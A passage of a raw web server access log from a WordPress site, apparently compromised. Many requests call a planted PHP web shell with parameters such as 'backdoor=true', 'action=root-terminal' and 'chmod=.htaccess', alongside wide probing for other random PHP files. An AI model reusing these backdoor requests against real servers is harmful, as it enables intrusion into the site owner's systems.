/assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.18.143 - - [17/Nov/2025:12:29:34 +0000] "GET /assets/wp-adminaa/wp-adminaa/network/js/js/js/ HTTP/1.1" 200 659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.2.13 - - [17/Nov/2025:12:29:34 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/js/jquery/ HTTP/1.1" 200 641 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.164.100.109 - - [17/Nov/2025:12:29:35 +0000] "GET /assets/fonts/js/includes/includes/css/blocks/ HTTP/1.1" 200 623 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:29:36 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3205 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f626c6f636b73 HTTP/2" 200 3156 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f6261636b75706c792f617373657473 HTTP/2" 200 3207 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770 HTTP/2" 200 3332 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:44 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3301 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6261636b75706c792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3293 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 85.174.206.51 - - [17/Nov/2025:12:29:48 +0000] "GET /assets/assets-20251112184145/wp/includes/css/themes/twentytwentyfive/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:29:48 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a732f6a7175657279 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=blocks&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c75646573 HTTP/2" 200 3309 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3115 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:55 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a7175657279 HTTP/2" 200 3276 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:29:57 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3301 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.184.23.53 - - [17/Nov/2025:12:29:58 +0000] "GET /assets/backuply/css/wp/includes/blocks/wp/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.239.82.3 - - [17/Nov/2025:12:29:58 +0000] "GET /assets/backuply-20251107214702/js/assets/css/wp/VliKOmptP.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 222.253.213.30 - - [17/Nov/2025:12:29:58 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.182.34.235 - - [17/Nov/2025:12:29:59 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 11733 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:30:00 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e6161 HTTP/2" 200 3188 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.160.106.217 - - [17/Nov/2025:12:29:27 +0000] "GET /assets/fonts/js/js/includes/css/js/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.229.188.199 - - [17/Nov/2025:12:29:28 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/css/js/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5; rv:123.0esr) Gecko/20100101 Firefox/123.0esr" 113.173.123.80 - - [17/Nov/2025:12:29:28 +0000] "GET /assets/backuply/jquery/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.226.125.18 - - [17/Nov/2025:12:29:33 +0000] "GET /assets/assets-20251112184145/js/includes/css/backuply/wp/ HTTP/1.1" 200 709 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.181.40.166 - - [17/Nov/2025:12:29:34 +0000] "GET /assets/assets-20251112184145/img/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 670 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 93.142.24.172 - - [17/Nov/2025:12:29:37 +0000] "GET /assets/backuply/includes/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 659 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Config/92.2.7601.2" 123.21.220.6 - - [17/Nov/2025:12:29:59 +0000] "GET /assets/backuply/themes/twentytwenty/inc/includes/themes/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.94.211 - - [17/Nov/2025:12:30:00 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/includes/wp/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.32.174 - - [17/Nov/2025:12:30:00 +0000] "GET /assets/network/js/includes/includes/css/js/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 123.30.73.199 - - [17/Nov/2025:12:30:00 +0000] "GET /assets/backuply/plugins/js/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.230.220.194 - - [17/Nov/2025:12:30:00 +0000] "GET /assets/blocks/includes/includes/css/upgrade/wp/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.189.16.205 - - [17/Nov/2025:12:30:01 +0000] "GET /assets/backuply/jquery/includes/jcfxeds/jcfxeds/wp-content/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.239.251.209 - - [17/Nov/2025:12:30:02 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/themes/twentytwentyfour/ HTTP/1.1" 200 670 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 222.252.168.111 - - [17/Nov/2025:12:30:02 +0000] "GET /assets/backuply-20251107214702/includes/css/themes/twentytwentyfour/styles/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.169.212.132 - - [17/Nov/2025:12:30:05 +0000] "GET /assets/assets-20251112184145/img/includes/js/blocks/wp/ HTTP/1.1" 200 662 "-" "Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 85.140.69.222 - - [17/Nov/2025:12:30:06 +0000] "GET /assets/backuply-20251107214702/wp-includes/network/js/includes/jcfxeds/ HTTP/1.1" 200 689 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.226.34.11 - - [17/Nov/2025:12:30:01 +0000] "GET /assets/css/wp/js/includes/themes/twentytwentythree/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:30:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.181.91.50 - - [17/Nov/2025:12:30:06 +0000] "GET /assets/assets-20251112184145/includes/js/includes/plugins/pagelayer/ HTTP/1.1" 200 657 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:30:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3499 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.28.173.227 - - [17/Nov/2025:12:30:08 +0000] "GET /assets/blocks/includes/css/blocks/wp/prHCAMqyQ.php HTTP/1.1" 200 150 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.49.70 - - [17/Nov/2025:12:30:09 +0000] "GET /assets/backuply/themes/twentytwenty/inc/includes/network/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (iPad; CPU OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:30:10 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f637373 HTTP/2" 200 3380 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.20.187.219 - - [17/Nov/2025:12:30:11 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/themes/ HTTP/1.1" 200 674 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:30:12 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3214 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 103.120.170.39 - - [17/Nov/2025:12:30:12 +0000] "GET /assets/css/wp/js/js/includes/blocks/ HTTP/1.1" 200 620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.65.216 - - [17/Nov/2025:12:30:13 +0000] "GET /wp-content/wp-adminaa/js/includes/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.107 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:30:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.166.22.64 - - [17/Nov/2025:12:30:15 +0000] "GET /assets/assets-20251112184145/js/assets/includes/css/wp/ HTTP/1.1" 200 653 "-" "Mozilla/5.0 (Android 8.1.0; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:30:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3115 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.184.127.61 - - [17/Nov/2025:12:30:16 +0000] "GET /assets/backuply-20251107214702/jquery/css/wp/includes/blocks/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.116.185 - - [17/Nov/2025:12:30:17 +0000] "GET /assets/assets-20251112184145/plugins/js/includes/css/network/ HTTP/1.1" 200 637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:30:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=assets&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f6261636b75706c79 HTTP/2" 200 3209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 222.253.157.240 - - [17/Nov/2025:12:30:19 +0000] "GET /assets/backuply/css/wp/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 678 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.189.135.174 - - [17/Nov/2025:12:30:19 +0000] "GET /assets/assets-20251112184145/wp-includes/wp-contentaa/js/includes/blocks/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Trailer/93.3.3695.30" 113.190.177.40 - - [17/Nov/2025:12:30:20 +0000] "GET /assets/backuply/wp-includes/network/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:30:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3316 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.175.66.116 - - [17/Nov/2025:12:30:21 +0000] "GET /assets/backuply/assets/assets/blocks/includes/blocks/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.174.65.31 - - [17/Nov/2025:12:30:22 +0000] "GET /assets/backuply/wp/css/blocks/wp/prHCAMqyQ.php HTTP/1.1" 200 150 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:30:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f6261636b75706c792f617373657473 HTTP/2" 200 3220 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.244.41.199 - - [17/Nov/2025:12:30:07 +0000] "GET /assets/wp/includes/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 14.171.252.77 - - [17/Nov/2025:12:30:08 +0000] "GET /assets/blocks/includes/includes/css/plugins/pagelayer/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 113.173.196.203 - - [17/Nov/2025:12:30:09 +0000] "GET /assets/blocks/js/includes/themes/twentytwentyfour/templates/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.249.51.7 - - [17/Nov/2025:12:30:09 +0000] "GET /assets/assets-20251112184145/js/assets/js/includes/plugins/ HTTP/1.1" 200 703 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 113.177.62.121 - - [17/Nov/2025:12:30:15 +0000] "GET /assets/backuply-20251107214702/js/js/includes/includes/css/ HTTP/1.1" 200 1040 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.105 Version/17.0 Mobile/15E148 Safari/604.1" 113.179.218.177 - - [17/Nov/2025:12:30:18 +0000] "GET /assets/plugins/js/includes/upgrade/wp/PcZAGw.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.169.194.237 - - [17/Nov/2025:12:30:17 +0000] "GET /assets/wp-includes/wp-contentaa/js/includes/includes/css/ HTTP/1.1" 200 1035 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.86 Version/17.0 Mobile/15E148 Safari/604.1" 14.191.154.139 - - [17/Nov/2025:12:30:18 +0000] "GET /assets/backuply/assets/assets/blocks/includes/backuply/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.227.59 - - [17/Nov/2025:12:30:20 +0000] "GET /assets/backuply-20251107214702/js/includes/includes/jcfxeds/jcfxeds/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/121.2277.107 Mobile/15E148 Safari/605.1.15" 113.169.32.97 - - [17/Nov/2025:12:30:23 +0000] "GET /assets/wp-content/wp-includes/js/js/includes/includes/ HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 DuckDuckGo/7 Safari/605.1.15" 113.175.148.59 - - [17/Nov/2025:12:30:26 +0000] "GET /assets/wp-includes/wp-contentaa/themes/twentytwentyfive/assets/fonts/ HTTP/1.1" 200 658 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 182.10.97.18 - - [17/Nov/2025:12:30:26 +0000] "GET /wp-content/themes/twentytwenty/inc/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.191.165.137 - - [17/Nov/2025:12:30:27 +0000] "GET /assets/includes/js/js/includes/css/plugins/ HTTP/1.1" 200 683 "-" "Mozilla/5.0 (Linux; Android 11; moto e20 Build/RONS31.267-94-14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.64 Mobile Safari/537.36" 113.169.25.68 - - [17/Nov/2025:12:30:28 +0000] "GET /assets/network/js/js/js/includes/css/ HTTP/1.1" 200 1021 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 45.178.233.244 - - [17/Nov/2025:12:30:29 +0000] "GET /assets/assets-20251112184145/blocks/js/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (Android 11; Mobile; rv:123.0) Gecko/123.0 Firefox/123.0" 113.189.1.200 - - [17/Nov/2025:12:30:24 +0000] "GET /assets/assets-20251112184145/wp-content/wp-adminaa/includes/jcfxeds/wp-adminaa/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.0.1" 74.7.227.184 - - [17/Nov/2025:12:30:25 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3331 "-" 